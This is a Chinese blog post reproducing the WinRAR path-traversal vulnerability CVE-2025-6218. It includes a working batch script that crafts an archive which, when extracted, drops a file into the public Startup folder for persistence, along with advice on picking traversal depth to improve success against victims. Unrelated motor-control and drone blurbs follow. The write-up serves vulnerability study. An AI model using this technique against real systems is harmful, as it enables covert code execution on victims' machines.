CVE-2025-6218 WinRAR

简介

总所周知,WinRAR是一款老牌的解压缩软件,知名产品同时也是许多装机必备的软件。近期发现了一个严重安全漏洞,CVE-2025-6218(路径穿越漏洞),攻击者可通过构造恶意的压缩文件,实现在压缩文件解压时可以将文件释放到受害者系统的敏感路径下(例如自启动目录),进而实现远程代码执行或者持久化控制。

攻击需要目标用户访问恶意网页或打开恶意压缩文件,因此容易受到社会工程攻击。

影响&&利用条件

WinRAR 7.11版本及更早版本(2025年6月19日补丁发布前的所有版本)

需要WinRAR 安装在默认位置:C:\Program Files\WinRAR\WinRAR.exe(或已知WinRAR的安装目录)

需要目标用户访问恶意网页或解压缩恶意压缩文件

漏洞利用

思考:利用路径穿越,我们是否可以将一些恶意的脚本文件写入到windows的自启动项中,一般系统的自启动项目录在 C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

由于 Windows 路径回退(..\)不会跨盘符,因此需要用户设置解压路径在C盘,那么我们就有机会将文件最终落地位置改到自启动目录中。

回看自启动目录的绝对路径,二级目录是用户自定义的用户名,我们无法通过外界手段获取具体的用户名,并且用户解压时我们也无法控制其在执行解压命令时的具体位置,所以回退符少了或者多了会导致我们最终拼接的路径并不正确,因此在拼接具体的解压位置时这里选择 把目标路径选在系统盘的固定公共位置

比如:

  • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup (公共启动文件夹,对所有用户生效)。
  • C:\Users\Public\Documents(有写权限的公共文件夹)。

这样只要回退到 C:\,拼接公共路径即可,兼容大部分用户在 C:\Users\XXX\DesktopC:\Users\XXX\Downloads 等常用目录解压的情况。再结合回退符(..\)不会跨盘符的特性,我们只要拼接足够的回退符就可以提高我们的成功率。

制造恶意zip

Make.bat

@echo off

title CVE-2025-6218 POC

"D:\RAR\WinRAR.exe" a -ap "\..\..\..\..\..\..\..\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\" %~dp0learnsource.zip POC.bat

echo.
if errorlevel 1 (
    echo [!] Failed to create POC.
) else (
    echo [+] CVE-2025-6218.zip created successfully!
)
echo.

del POC.bat

pause

//"D:\RAR\WinRAR.exe" 代表本机上WinRAR软件的路径
//a 代表添加文件到压缩包
//-ap 设置压缩包内的相对路径(就在这里尝试路径穿越)
//%~dp0 代表当前脚本所在的路径

 POC.bat

calc.exe

其中%~dp0LearnSource.zip代表生成的zip文件在当前目录下,且命名为LearnSource。因环境不同,可能执行改脚本时会出现

,这意味着 WinRAR 可能把相对路径理解成了相对它自己执行位置的路径,而不是批处理脚本的位置,需要将脚本放在WinRAR执行文件的目录下,或者可以将该生成路径改为绝对路径

其中POC.bat为需要打包的恶意文件,放在和脚本的同级目录即可

Test

运行生成脚本

放入靶机进行解压缩

解压后文件落地

重启后启动项自动执行

近期WinRAR部分版本已经加上补丁,新增沙盒机制,对于一些敏感目录会强制解压缩到当前录取,复现也许会不成功,考虑跟老版本尝试复现

参考:

WinRAR目录遍历远程代码执行 - FreeBuf网络安全行业门户

WinRAR 缺陷(CVE-2025-6218):通过目录遍历执行远程代码 | CN-SEC 中文网

基于51单片机,实现对直流电机的调速、测速以及正反转控制。项目包含完整的仿真文件、源程序、原理图和PCB设计文件,适合学习和实践51单片机在电机控制方面的应用。 功能特点 调速控制:通过按键调整PWM占空比,实现电机的速度调节。 测速功能:采用霍尔传感器非接触式测速,实时显示电机转速。 正反转控制:通过按键切换电机的正转和反转状态。 LCD显示:使用LCD1602液晶显示屏,显示当前的转速和PWM占空比。 硬件组成 主控制器:STC89C51/52单片机(与AT89S51/52、AT89C51/52通用)。 测速传感器:霍尔传感器,用于非接触式测速。 显示模块:LCD1602液晶显示屏,显示转速和占空比。 电机驱动:采用双H桥电路,控制电机的正反转和调速。 软件设计 编程语言:C语言。 开发环境:Keil uVision。 仿真工具:Proteus。 使用说明 液晶屏显示: 第一行显示电机转速(单位:转/分)。 第二行显示PWM占空比(0~100%)。 按键功能: 1键:加速键,短按占空比加1,长按连续加。 2键:减速键,短按占空比减1,长按连续减。 3键:反转切换键,按下后电机反转。 4键:正转切换键,按下后电机正转。 5键:开始暂停键,按一下开始,再按一下暂停。 注意事项 磁铁和霍尔元件的距离应保持在2mm左右,过近可能会在电机转动时碰到霍尔元件,过远则可能导致霍尔元件无法检测到磁铁。 资源文件 仿真文件:Proteus仿真文件,用于模拟电机控制系统的运行。 源程序:Keil uVision项目文件,包含完整的C语言源代码。 原理图:电路设计原理图,详细展示了各模块的连接方式。 PCB设计:PCB布局文件,可用于实际电路板的制作。
【四旋翼无人机】具备螺旋桨倾斜机构的全驱动四旋翼无人机:建模与控制研究(Matlab代码、Simulink仿真实现)内容概要:本文围绕具备螺旋桨倾斜机构的全驱动四旋翼无人机展开研究,重点进行了系统建模与控制策略的设计与仿真验证。通过引入螺旋桨倾斜机构,该无人机能够实现全向力矢量控制,从而具备更强的姿态调节能力和六自由度全驱动特性,克服传统四旋翼欠驱动限制。研究内容涵盖动力学建模、控制系统设计(如PID、MPC等)、Matlab/Simulink环境下的仿真验证,并可能涉及轨迹跟踪、抗干扰能力及稳定性分析,旨在提升无人机在复杂环境下的机动性与控制精度。; 适合人群:具备一定控制理论基础和Matlab/Simulink仿真能力的研究生、科研人员及从事无人机系统开发的工程师,尤其适合研究先进无人机控制算法的技术人员。; 使用场景及目标:①深入理解全驱动四旋翼无人机的动力学建模方法;②掌握基于Matlab/Simulink的无人机控制系统设计与仿真流程;③复现硕士论文级别的研究成果,为科研项目或学术论文提供技术支持与参考。; 阅读建议:建议结合提供的Matlab代码与Simulink模型进行实践操作,重点关注建模推导过程与控制器参数调优,同时可扩展研究不同控制算法的性能对比,以深化对全驱动系统控制机制的理解。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值